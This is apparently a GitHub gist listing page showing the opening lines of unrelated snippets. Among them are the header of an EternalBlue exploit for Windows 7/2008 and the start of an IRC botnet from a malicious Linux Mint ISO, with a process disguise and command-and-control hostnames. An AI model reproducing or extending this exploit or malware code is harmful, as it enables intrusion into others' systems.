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@worawit
worawit / eternalblue7_exploit.py
Last active June 20, 2023 08:21
Eternalblue exploit for Windows 7/2008
#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
@kurobeats
kurobeats / man.cy
Created February 21, 2016 09:00
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@paulirish
paulirish / bling.js
Last active May 1, 2024 19:56
bling dot js
/* bling.js */
window.$ = document.querySelectorAll.bind(document);
Node.prototype.on = window.on = function (name, fn) {
this.addEventListener(name, fn);
}
NodeList.prototype.__proto__ = Array.prototype;
@ethagnawl
ethagnawl / .inputrc
Last active May 5, 2021 19:54
Display Vim mode in Bash prompt
# requires >= Bash 4.3
# note: the prompt will not be updated if you use a custom PS1 which contains a newline character
set editing-mode vi
set keymap vi-command
set show-mode-in-prompt on
# if it's configured correctly, your prompt will be prefixed with a `+` while in insert mode and a `:` when in command mode.
@aras-p
aras-p / preprocessor_fun.h
Last active May 8, 2024 06:45
Things to commit just before leaving your job
// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
//
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.
//
// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,
@1wErt3r
1wErt3r / SMBDIS.ASM
Created November 9, 2012 22:27
A Comprehensive Super Mario Bros. Disassembly
;SMBDIS.ASM - A COMPREHENSIVE SUPER MARIO BROS. DISASSEMBLY
;by doppelganger (doppelheathen@gmail.com)
;This file is provided for your own use as-is. It will require the character rom data
;and an iNES file header to get it to work.
;There are so many people I have to thank for this, that taking all the credit for
;myself would be an unforgivable act of arrogance. Without their help this would
;probably not be possible. So I thank all the peeps in the nesdev scene whose insight into
;the 6502 and the NES helped me learn how it works (you guys know who you are, there's no
@eligrey
eligrey / object-watch.js
Created April 30, 2010 01:38
object.watch polyfill in ES5
/*
* object.watch polyfill
*
* 2012-04-03
*
* By Eli Grey, http://eligrey.com
* Public Domain.
* NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
*/